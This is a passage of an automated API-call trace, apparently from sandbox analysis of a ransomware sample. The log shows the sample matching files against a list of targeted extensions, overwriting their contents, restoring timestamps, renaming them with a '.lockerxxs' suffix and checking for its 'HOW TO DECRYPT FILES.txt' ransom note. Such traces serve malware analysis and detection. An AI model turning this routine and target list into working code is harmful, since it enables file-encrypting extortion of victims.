files\\low\\content.ie5\\yg1r61z8\\bbbnaf7[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbnaf7[1].jpg.lockerxxs")) returned 1 [0084.118] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x533a9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x533a9870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x533a9870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb22, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBNnTF[1].jpg", cAlternateFileName="BBBNNT~1.JPG")) returned 1 [0084.118] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.118] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBNnTF[1].jpg") returned 1 [0084.118] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBNnTF[1].jpg") returned 1 [0084.118] lstrcmpiA (lpString1="", lpString2="BBBNnTF[1].jpg") returned -1 [0084.118] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNAf7[1].jpg") returned="BBBNAf7[1].jpg" [0084.118] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.118] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.118] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.118] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.119] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBBNnTF[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg" [0084.119] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg", pszSpec="*.ems") returned 0 [0084.119] lstrlenA (lpString="*.ems") returned 5 [0084.119] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg", pszSpec="*.db") returned 0 [0084.119] lstrlenA (lpString="*.db") returned 4 [0084.119] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg", pszSpec="*.dbf") returned 0 [0084.119] lstrlenA (lpString="*.dbf") returned 5 [0084.119] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg", pszSpec="*.myox") returned 0 [0084.119] lstrlenA (lpString="*.myox") returned 6 [0084.119] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg", pszSpec="*.myo") returned 0 [0084.119] lstrlenA (lpString="*.myo") returned 5 [0084.119] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg", pszSpec="*.qbw") returned 0 [0084.119] lstrlenA (lpString="*.qbw") returned 5 [0084.119] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg", pszSpec="*.qbb") returned 0 [0084.119] lstrlenA (lpString="*.qbb") returned 5 [0084.119] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg", pszSpec="*.qbm") returned 0 [0084.119] lstrlenA (lpString="*.qbm") returned 5 [0084.119] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg", pszSpec="*.qbo") returned 0 [0084.119] lstrlenA (lpString="*.qbo") returned 5 [0084.119] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg", pszSpec="*.qbx") returned 0 [0084.119] lstrlenA (lpString="*.qbx") returned 5 [0084.119] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg", pszSpec="*.qba") returned 0 [0084.119] lstrlenA (lpString="*.qba") returned 5 [0084.119] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg", pszSpec="*.qby") returned 0 [0084.119] lstrlenA (lpString="*.qby") returned 5 [0084.119] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg", pszSpec="*.qbj") returned 0 [0084.120] lstrlenA (lpString="*.qbj") returned 5 [0084.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg", pszSpec="*.ofx") returned 0 [0084.120] lstrlenA (lpString="*.ofx") returned 5 [0084.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg", pszSpec="*.qif") returned 0 [0084.120] lstrlenA (lpString="*.qif") returned 5 [0084.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg", pszSpec="*.mye") returned 0 [0084.120] lstrlenA (lpString="*.mye") returned 5 [0084.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg", pszSpec="*.mbox") returned 0 [0084.120] lstrlenA (lpString="*.mbox") returned 6 [0084.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg", pszSpec="*.eml") returned 0 [0084.120] lstrlenA (lpString="*.eml") returned 5 [0084.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg", pszSpec="*.pst") returned 0 [0084.120] lstrlenA (lpString="*.pst") returned 5 [0084.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg", pszSpec="*.ost") returned 0 [0084.120] lstrlenA (lpString="*.ost") returned 5 [0084.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg", pszSpec="*.idx") returned 0 [0084.120] lstrlenA (lpString="*.idx") returned 5 [0084.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg", pszSpec="*.dbx") returned 0 [0084.120] lstrlenA (lpString="*.dbx") returned 5 [0084.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg", pszSpec="*.sql") returned 0 [0084.120] lstrlenA (lpString="*.sql") returned 5 [0084.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg", pszSpec="*.mdb") returned 0 [0084.120] lstrlenA (lpString="*.mdb") returned 5 [0084.120] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg", pszSpec="*.fdb") returned 0 [0084.121] lstrlenA (lpString="*.fdb") returned 5 [0084.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg", pszSpec="*.wab") returned 0 [0084.121] lstrlenA (lpString="*.wab") returned 5 [0084.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg", pszSpec="*.dat") returned 0 [0084.121] lstrlenA (lpString="*.dat") returned 5 [0084.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg", pszSpec="*.txt") returned 0 [0084.121] lstrlenA (lpString="*.txt") returned 5 [0084.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg", pszSpec="*.jpeg") returned 0 [0084.121] lstrlenA (lpString="*.jpeg") returned 6 [0084.121] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg", pszSpec="*.jpg") returned 1 [0084.121] lstrlenA (lpString="*.jpg") returned 5 [0084.121] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg" [0084.121] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg" [0084.121] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg." [0084.121] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg.lockerxxs" [0084.121] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbnntf[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.122] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xb22 [0084.123] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x533a9870, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x533a9870, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x533a9870, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.123] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.123] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xafc, lpOverlapped=0x0) returned 1 [0084.125] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg") returned="BBBNnTF[1].jpg" [0084.125] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.125] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xafc, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xafc, lpOverlapped=0x0) returned 1 [0084.125] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.125] CloseHandle (hObject=0xa4) returned 1 [0084.125] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbnntf[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbnntf[1].jpg.lockerxxs")) returned 1 [0084.126] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x539c30d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x539c30d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x539c30d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1529, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBO4dZ[1].jpg", cAlternateFileName="BBBO4D~1.JPG")) returned 1 [0084.128] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.128] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBO4dZ[1].jpg") returned 1 [0084.128] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBO4dZ[1].jpg") returned 1 [0084.128] lstrcmpiA (lpString1="", lpString2="BBBO4dZ[1].jpg") returned -1 [0084.129] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBNnTF[1].jpg") returned="BBBNnTF[1].jpg" [0084.129] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.129] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.129] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.129] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.129] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBBO4dZ[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg" [0084.129] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg", pszSpec="*.ems") returned 0 [0084.129] lstrlenA (lpString="*.ems") returned 5 [0084.129] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg", pszSpec="*.db") returned 0 [0084.129] lstrlenA (lpString="*.db") returned 4 [0084.129] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg", pszSpec="*.dbf") returned 0 [0084.129] lstrlenA (lpString="*.dbf") returned 5 [0084.129] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg", pszSpec="*.myox") returned 0 [0084.129] lstrlenA (lpString="*.myox") returned 6 [0084.129] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg", pszSpec="*.myo") returned 0 [0084.129] lstrlenA (lpString="*.myo") returned 5 [0084.129] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg", pszSpec="*.qbw") returned 0 [0084.130] lstrlenA (lpString="*.qbw") returned 5 [0084.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg", pszSpec="*.qbb") returned 0 [0084.130] lstrlenA (lpString="*.qbb") returned 5 [0084.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg", pszSpec="*.qbm") returned 0 [0084.130] lstrlenA (lpString="*.qbm") returned 5 [0084.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg", pszSpec="*.qbo") returned 0 [0084.130] lstrlenA (lpString="*.qbo") returned 5 [0084.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg", pszSpec="*.qbx") returned 0 [0084.130] lstrlenA (lpString="*.qbx") returned 5 [0084.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg", pszSpec="*.qba") returned 0 [0084.130] lstrlenA (lpString="*.qba") returned 5 [0084.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg", pszSpec="*.qby") returned 0 [0084.130] lstrlenA (lpString="*.qby") returned 5 [0084.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg", pszSpec="*.qbj") returned 0 [0084.130] lstrlenA (lpString="*.qbj") returned 5 [0084.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg", pszSpec="*.ofx") returned 0 [0084.130] lstrlenA (lpString="*.ofx") returned 5 [0084.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg", pszSpec="*.qif") returned 0 [0084.130] lstrlenA (lpString="*.qif") returned 5 [0084.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg", pszSpec="*.mye") 